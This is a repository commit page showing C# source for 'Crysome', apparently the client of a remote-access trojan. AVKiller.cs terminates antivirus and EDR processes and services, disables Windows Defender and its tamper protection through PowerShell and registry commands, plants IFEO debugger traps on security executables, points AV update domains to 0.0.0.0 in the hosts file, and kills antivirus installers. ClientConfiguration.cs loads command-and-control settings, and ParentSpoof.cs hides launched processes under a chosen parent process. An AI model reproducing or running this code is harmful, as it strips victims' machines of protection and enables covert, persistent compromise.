i2p/crysome
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

initial commit

Browse Source
This commit is contained in:
i2p
2026-08-27 11:22:54 -06:00
commit 3d81b11e14
2281 changed files with 54227 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Crysome.Client/Crysome.Client.Configuration/AVKiller.cs
+435
View File
@@ -0,0 +1,435 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
namespace Crysome.Client.Configuration;
public static class AVKiller
{
private struct LUID
{
public uint LowPart;
public int HighPart;
}
private struct TOKEN_PRIVILEGES
{
public int PrivilegeCount;
public LUID Luid;
public int Attributes;
}
private static volatile bool _running;
private static readonly HashSet<string> AVProcs = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
"MsMpEng", "MpCmdRun", "MsASCuIL", "SecurityHealthService", "SecurityHealthHost", "SecurityHealthSystray", "ConfigSecurityPolicy", "NisSrv", "NortonSecurity", "navapsvc",
"nsWscSvc", "NProtect", "ccSvcHst", "SymCorpUI", "McShield", "McUICnt", "mfemms", "mfevtps", "masvc", "McAPExe",
"MMSSHOST", "ModuleCoreService", "avp", "avpui", "kavfs", "kavfsgt", "klnagent", "bdagent", "vsserv", "bdservicehost",
"bdntwrk", "updatesrv", "seccenter", "bdredline", "ProductAgentService", "AvastSvc", "AvastUI", "aswidsagent", "afwServ", "aswToolsSvc",
"aswEngSrv", "avgnt", "avguard", "AVGSvc", "AVGUI", "avgidsagent", "ekrn", "egui", "EsetService", "EHttpSrv",
"MBAMService", "mbamtray", "mbam", "MBAMWsc", "PccNTMon", "TmListen", "ntrtscan", "tmbmsrv", "TmProxy", "coreServiceShell",
"SAVAdminService", "SavService", "SophosHealth", "SophosCleanM", "SophosFileScanner", "SophosFS", "fshoster", "FSMA32", "fsaua", "fsorsp",
"cmdagent", "CisTray", "cavwp", "PSANHost", "PSUAMain", "PSUAService", "WRSA", "WRCoreService", "a2service", "a2guard",
"a2start", "ZoneAlarm", "vsmon", "zlclient", "CSFalconService", "csagent", "CSFalconContainer", "SentinelAgent", "SentinelServiceHost", "SentinelStaticEngine",
"SentinelHelperService", "CylanceSvc", "CylanceUI", "RepMgr", "CbDefense", "CbDefenseSensor", "dwengine", "dwservice", "SpIDerAgent", "dwarkdaemon",
"Avira.ServiceHost", "avshadow", "Avira.SystrayStartTrigger", "GDScan", "AVKService", "SCANMAIN", "BDSS", "SBAMSvc", "BullGuardBhvProcessing", "BullGuardScanner",
"BullGuardUpdate", "360Tray", "360sd", "ZhuDongFangYu"
};
private static readonly string[] AVKeywords = new string[42]
{
"norton", "symantec", "mcafee", "kaspersky", "bitdefender", "avast", "avg antivirus", "eset", "nod32", "malwarebytes",
"trend micro", "trendmicro", "sophos", "f-secure", "comodo", "panda security", "webroot", "emsisoft", "zonealarm", "crowdstrike",
"sentinelone", "sentinel one", "cylance", "carbon black", "carbonblack", "bullguard", "vipre", "quick heal", "quickheal", "dr.web",
"drweb", "avira", "g data", "gdata", "360 total security", "360totalsecurity", "antivirus", "anti-virus", "endpoint protection", "internet security",
"total security", "windows defender"
};
private static readonly string[] AVServices = new string[41]
{
"WinDefend", "WdNisSvc", "SecurityHealthService", "wscsvc", "Sense", "McShield", "masvc", "mfemms", "mfevtp", "HomeNetSvc",
"McProxy", "McODS", "AVP", "kavfsgt", "klnagent", "VSSERV", "EPSecurityService", "EPUpdateService", "EPIntegrationService", "avast! Antivirus",
"AvastWscReporter", "aswbIDSAgent", "avast! Firewall", "avgwd", "AVGSvc", "ekrn", "EsetService", "MBAMService", "ntrtscan", "TmListen",
"tmbmsrv", "TmProxy", "SAVAdminService", "SAVService", "Sophos MCS Agent", "cmdAgent", "CSFalconService", "SentinelAgent", "SentinelStaticEngine", "CylanceSvc",
"CbDefense"
};
private static readonly string[] IFEOTargets = new string[34]
{
"avp.exe", "avpui.exe", "ekrn.exe", "egui.exe", "bdagent.exe", "vsserv.exe", "bdservicehost.exe", "AvastSvc.exe", "AvastUI.exe", "afwServ.exe",
"AVGSvc.exe", "AVGUI.exe", "MBAMService.exe", "mbamtray.exe", "SavService.exe", "SAVAdminService.exe", "CylanceSvc.exe", "CylanceUI.exe", "WRSA.exe", "WRCoreService.exe",
"a2service.exe", "a2guard.exe", "CSFalconService.exe", "csagent.exe", "SentinelAgent.exe", "SentinelServiceHost.exe", "NortonSecurity.exe", "ccSvcHst.exe", "McShield.exe", "masvc.exe",
"fshoster.exe", "FSMA32.exe", "PSANHost.exe", "PSUAMain.exe"
};
private static readonly string[] AVUpdateDomains = new string[33]
{
"update.nai.com", "download.mcafee.com", "vs.mcafee.com", "update.avg.com", "download.avg.com", "update.avast.com", "download.avast.com", "iavs9x.u.avast.com", "dnl-01.geo.kaspersky.com", "dnl-02.geo.kaspersky.com",
"downloads.kaspersky-labs.com", "update.eset.com", "download.eset.com", "download.bitdefender.com", "upgrade.bitdefender.com", "nimbus.bitdefender.net", "download.sophos.com", "dci.sophosupd.com", "sophosupdate.sophos.com", "mb3-download.malwarebytes.com",
"downloads.malwarebytes.com", "data-cdn.mbamupdates.com", "definitions.symantec.com", "liveupdate.symantec.com", "symantecliveupdate.com", "update.trendmicro.com", "download.trendmicro.com", "download.f-secure.com", "guts2.f-secure.com", "update.drweb.com",
"download.drweb.com", "update.avira.com", "install.avira-update.com"
};
public static void Start()
{
if (!_running)
{
_running = true;
Task.Factory.StartNew(MainLoop, TaskCreationOptions.LongRunning);
}
}
public static void Stop()
{
_running = false;
}
private static async void MainLoop()
{
Program.Log("AVKiller: active");
await Task.WhenAll(Task.Run(delegate
{
try
{
NeutralizeDefender();
}
catch
{
}
}), Task.Run(delegate
{
try
{
SetIFEOTraps();
}
catch
{
}
}), Task.Run(delegate
{
try
{
DisableAVServices();
}
catch
{
}
}), Task.Run(delegate
{
try
{
PoisonHostsFile();
}
catch
{
}
})).ConfigureAwait(continueOnCapturedContext: false);
Program.Log("AVKiller: hardening done");
while (_running)
{
try
{
await Task.WhenAll(Task.Run(delegate
{
ScanAndKillProcesses();
}), Task.Run(delegate
{
InterceptInstallers();
})).ConfigureAwait(continueOnCapturedContext: false);
}
catch (Exception ex)
{
Program.Log("AVKiller loop: " + ex.Message);
}
await Task.Delay(2000).ConfigureAwait(continueOnCapturedContext: false);
}
}
private static void ScanAndKillProcesses()
{
Process[] processes;
try
{
processes = Process.GetProcesses();
}
catch
{
return;
}
Parallel.ForEach(processes, delegate(Process proc)
{
try
{
if (AVProcs.Contains(proc.ProcessName))
{
proc.Kill();
Program.Log("AVKiller: killed " + proc.ProcessName + " pid=" + proc.Id);
}
}
catch
{
}
finally
{
try
{
proc.Dispose();
}
catch
{
}
}
});
}
private static void InterceptInstallers()
{
Process[] processes;
try
{
processes = Process.GetProcesses();
}
catch
{
return;
}
Parallel.ForEach(processes, delegate(Process proc)
{
try
{
string text = proc.ProcessName.ToLowerInvariant();
if (text == "msiexec" || text.Contains("setup") || text.Contains("install"))
{
string commandLine = GetCommandLine(proc.Id);
string text2 = null;
try
{
text2 = proc.MainModule?.FileName;
}
catch
{
}
if (ContainsAVKeyword((commandLine + " " + text2).ToLowerInvariant()))
{
proc.Kill();
Program.Log("AVKiller: blocked installer " + proc.ProcessName + " pid=" + proc.Id);
KillProcessTree(proc.Id);
}
}
}
catch
{
}
finally
{
try
{
proc.Dispose();
}
catch
{
}
}
});
}
private static bool ContainsAVKeyword(string text)
{
for (int i = 0; i < AVKeywords.Length; i++)
{
if (text.IndexOf(AVKeywords[i], StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
}
return false;
}
private static string GetCommandLine(int pid)
{
try
{
using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId=" + pid);
using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
using ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectCollection.GetEnumerator();
if (managementObjectEnumerator.MoveNext())
{
return ((ManagementObject)managementObjectEnumerator.Current)["CommandLine"]?.ToString();
}
}
catch
{
}
return null;
}
private static void KillProcessTree(int parentPid)
{
try
{
using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT ProcessId FROM Win32_Process WHERE ParentProcessId=" + parentPid);
using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
foreach (ManagementObject item in managementObjectCollection)
{
int num = Convert.ToInt32(item["ProcessId"]);
KillProcessTree(num);
try
{
Process.GetProcessById(num).Kill();
}
catch
{
}
}
}
catch
{
}
}
private static void NeutralizeDefender()
{
ExecAsync("powershell", "-EP Bypass -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableBlockAtFirstSeen $true\"").Wait();
List<Task> list = new List<Task>();
string[] array = new string[8] { "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v TamperProtection /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SpyNetReporting /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f" };
foreach (string text in array)
{
list.Add(ExecAsync("reg", "add " + text));
}
list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /Disable"));
list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /Disable"));
list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /Disable"));
Task.WaitAll(list.ToArray());
}
private static void SetIFEOTraps()
{
Task[] array = new Task[IFEOTargets.Length];
for (int i = 0; i < IFEOTargets.Length; i++)
{
array[i] = ExecAsync("reg", "add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + IFEOTargets[i] + "\" /v Debugger /t REG_SZ /d \"cmd.exe /c echo\" /f");
}
Task.WaitAll(array);
}
private static void DisableAVServices()
{
EnableDebugPrivilege();
string[] aVServices = AVServices;
foreach (string text in aVServices)
{
try
{
Process.Start(new ProcessStartInfo("sc.exe", "stop \"" + text + "\"")
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
Process.Start(new ProcessStartInfo("sc.exe", "config \"" + text + "\" start= disabled")
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
Process.Start(new ProcessStartInfo("net.exe", "stop \"" + text + "\" /y")
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
}
catch
{
}
}
}
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
private static extern bool CloseHandle(IntPtr hObject);
private static void EnableDebugPrivilege()
{
try
{
if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
{
TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
NewState.PrivilegeCount = 1;
NewState.Attributes = 2;
if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
{
AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(TokenHandle);
}
}
catch
{
}
}
private static void PoisonHostsFile()
{
try
{
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers", "etc", "hosts");
if (!(File.Exists(path) ? File.ReadAllText(path) : "").Contains("# avk-block"))
{
string text = Environment.NewLine + "# avk-block" + Environment.NewLine;
string[] aVUpdateDomains = AVUpdateDomains;
foreach (string text2 in aVUpdateDomains)
{
text = text + "0.0.0.0 " + text2 + Environment.NewLine;
}
File.AppendAllText(path, text);
Program.Log("AVKiller: hosts file poisoned");
}
}
catch
{
}
}
private static Task ExecAsync(string exe, string args)
{
return Task.Run(delegate
{
try
{
using Process process = Process.Start(new ProcessStartInfo(exe, args)
{
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardError = true
});
process?.WaitForExit(8000);
}
catch
{
}
});
}
}
Crysome.Client/Crysome.Client.Configuration/ClientConfiguration.cs
+317
View File
@@ -0,0 +1,317 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
namespace Crysome.Client.Configuration;
public static class ClientConfiguration
{
public static string Identifier = "Crysome-01";
public static string Host = "127.0.0.1";
public static int Port = 7777;
public static string Group = "";
public static bool Persistence = false;
public static string ParentSpoof = "";
public static HashSet<string> EnabledFeatures = null;
private const string EmbeddedMarker = "##CRYCFG##";
private const char PaddingChar = '\u0001';
internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001";
private const string TailMarker = "##CRYCONFIG##";
private static bool? _isHollowed = null;
public static bool IsHollowed
{
get
{
if (_isHollowed.HasValue)
{
return _isHollowed.Value;
}
try
{
string location = Assembly.GetExecutingAssembly().Location;
if (string.IsNullOrEmpty(location))
{
_isHollowed = true;
return true;
}
string name = Assembly.GetExecutingAssembly().GetName().Name;
bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase);
_isHollowed = !flag;
return _isHollowed.Value;
}
catch
{
_isHollowed = true;
return true;
}
}
}
public static string GetProcessPath()
{
if (!IsHollowed)
{
try
{
string location = Assembly.GetExecutingAssembly().Location;
if (!string.IsNullOrEmpty(location) && File.Exists(location))
{
return location;
}
}
catch
{
}
}
try
{
string text = Process.GetCurrentProcess().MainModule?.FileName;
if (!string.IsNullOrEmpty(text) && File.Exists(text))
{
return text;
}
}
catch
{
}
try
{
string[] commandLineArgs = Environment.GetCommandLineArgs();
if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0]))
{
return commandLineArgs[0];
}
}
catch
{
}
return null;
}
public static void Init()
{
if (!TryLoadFromEmbedded() && !TryLoadFromExeTail())
{
TryLoadFromJsonFile();
}
}
private static bool TryLoadFromEmbedded()
{
try
{
string embeddedConfig = EmbeddedConfig;
if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##"))
{
return false;
}
string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0');
if (string.IsNullOrWhiteSpace(text))
{
return false;
}
Program.Log("Config found in embedded blob");
ParseJson(text);
return true;
}
catch (Exception ex)
{
Program.Log("Embedded config error: " + ex.Message);
return false;
}
}
private static bool TryLoadFromExeTail()
{
if (IsHollowed)
{
return false;
}
try
{
string processPath = GetProcessPath();
if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
{
return false;
}
byte[] array = File.ReadAllBytes(processPath);
string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length));
int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal);
if (num < 0)
{
return false;
}
string json = text.Substring(num + "##CRYCONFIG##".Length);
Program.Log("Config found in exe tail");
ParseJson(json);
return true;
}
catch (Exception ex)
{
Program.Log("Exe tail config error: " + ex.Message);
return false;
}
}
private static void TryLoadFromJsonFile()
{
string processPath = GetProcessPath();
string text = null;
try
{
text = Path.GetFileNameWithoutExtension(processPath);
}
catch
{
}
string[] array = new string[3]
{
AppDomain.CurrentDomain.BaseDirectory,
Path.GetDirectoryName(processPath),
Environment.CurrentDirectory
};
foreach (string text2 in array)
{
if (string.IsNullOrEmpty(text2))
{
continue;
}
try
{
string text3 = Path.Combine(text2, "config.json");
if (File.Exists(text3))
{
Program.Log("Loading config.json: " + text3);
ParseJson(File.ReadAllText(text3));
return;
}
if (!string.IsNullOrEmpty(text))
{
string text4 = Path.Combine(text2, text + ".config.json");
if (File.Exists(text4))
{
Program.Log("Loading alt config: " + text4);
ParseJson(File.ReadAllText(text4));
return;
}
}
}
catch (Exception ex)
{
Program.Log("Config json error: " + ex.Message);
}
}
Program.Log("No config found, using defaults (127.0.0.1:7777)");
}
private static void ParseJson(string json)
{
string text = Extract(json, "host");
string s = Extract(json, "port");
string text2 = Extract(json, "group");
string text3 = Extract(json, "persistence");
string text4 = Extract(json, "feat");
string text5 = Extract(json, "parent");
if (!string.IsNullOrEmpty(text))
{
Host = text;
}
if (int.TryParse(s, out var result) && result > 0 && result <= 65535)
{
Port = result;
}
if (!string.IsNullOrEmpty(text2))
{
Group = text2;
}
if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true")
{
Persistence = true;
}
if (!string.IsNullOrEmpty(text5))
{
ParentSpoof = text5.Trim().ToLowerInvariant();
}
if (!string.IsNullOrEmpty(text4))
{
EnabledFeatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
foreach (string text6 in array)
{
EnabledFeatures.Add(text6.Trim());
}
}
Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group);
}
public static bool IsFeatureEnabled(string key)
{
if (EnabledFeatures == null)
{
return true;
}
return EnabledFeatures.Contains(key);
}
private static string Extract(string json, string key)
{
string value = "\"" + key + "\"";
int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase);
if (num < 0)
{
return null;
}
num = json.IndexOf(':', num);
if (num < 0)
{
return null;
}
for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++)
{
}
if (num >= json.Length)
{
return null;
}
if (json[num] == '"')
{
num++;
int i = num;
bool flag = false;
for (; i < json.Length; i++)
{
if (json[i] == '\\')
{
flag = !flag;
continue;
}
if (json[i] == '"' && !flag)
{
break;
}
flag = false;
}
return json.Substring(num, i - num);
}
int j;
for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++)
{
}
return json.Substring(num, j - num);
}
}
Crysome.Client/Crysome.Client.Configuration/ParentSpoof.cs
+269
View File
@@ -0,0 +1,269 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Crysome.Client.Configuration;
public static class ParentSpoof
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
private struct LUID
{
public uint LowPart;
public int HighPart;
}
private struct TOKEN_PRIVILEGES
{
public int PrivilegeCount;
public LUID Luid;
public int Attributes;
}
private const uint EXTENDED_STARTUPINFO_PRESENT = 524288u;
private const uint CREATE_NO_WINDOW = 134217728u;
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 131072;
private const uint PROCESS_CREATE_PROCESS = 128u;
private const int SE_PRIVILEGE_ENABLED = 2;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
private static void EnableDebugPrivilege()
{
try
{
if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
{
TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
NewState.PrivilegeCount = 1;
NewState.Attributes = 2;
if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
{
AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(TokenHandle);
}
}
catch
{
}
}
public static bool TrySpawnUnderParent(string parentName, string exePath, string args)
{
if (string.IsNullOrEmpty(parentName) || string.IsNullOrEmpty(exePath))
{
return false;
}
EnableDebugPrivilege();
int num = FindProcessIdByName(parentName);
if (num <= 0)
{
return false;
}
IntPtr intPtr = OpenProcess(128u, bInheritHandle: false, num);
if (intPtr == IntPtr.Zero)
{
return false;
}
try
{
IntPtr lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (lpSize == IntPtr.Zero || lpSize.ToInt32() <= 0)
{
return false;
}
IntPtr intPtr2 = Marshal.AllocHGlobal(lpSize);
try
{
if (!InitializeProcThreadAttributeList(intPtr2, 1, 0, ref lpSize))
{
return false;
}
try
{
IntPtr intPtr3 = Marshal.AllocHGlobal(IntPtr.Size);
try
{
Marshal.WriteIntPtr(intPtr3, intPtr);
if (!UpdateProcThreadAttribute(intPtr2, 0u, (IntPtr)131072, intPtr3, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
{
return false;
}
}
finally
{
Marshal.FreeHGlobal(intPtr3);
}
STARTUPINFOEX lpStartupInfo = new STARTUPINFOEX
{
StartupInfo = new STARTUPINFO
{
cb = Marshal.SizeOf(typeof(STARTUPINFOEX)),
dwFlags = 1,
wShowWindow = 0
},
lpAttributeList = intPtr2
};
string text = "\"" + exePath + "\"";
if (!string.IsNullOrEmpty(args))
{
text = text + " " + args;
}
if (CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 134742016u, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
{
CloseHandle(lpProcessInformation.hProcess);
CloseHandle(lpProcessInformation.hThread);
return true;
}
Program.Log("ParentSpoof: CreateProcess failed. Err=" + Marshal.GetLastWin32Error());
}
finally
{
DeleteProcThreadAttributeList(intPtr2);
}
}
finally
{
Marshal.FreeHGlobal(intPtr2);
}
}
finally
{
CloseHandle(intPtr);
}
Program.Log("ParentSpoof: Failed to spawn under " + parentName);
return false;
}
private static int FindProcessIdByName(string name)
{
string text = name.ToLowerInvariant();
if (!text.EndsWith(".exe"))
{
text += ".exe";
}
try
{
Process[] processes = Process.GetProcesses();
foreach (Process process in processes)
{
try
{
if ((process.ProcessName + ".exe").Equals(text, StringComparison.OrdinalIgnoreCase))
{
int id = process.Id;
process.Dispose();
return id;
}
}
catch
{
}
finally
{
process.Dispose();
}
}
}
catch
{
}
return 0;
}
}
Crysome.Client/Crysome.Client.Configuration/Persistence.cs
+32
View File
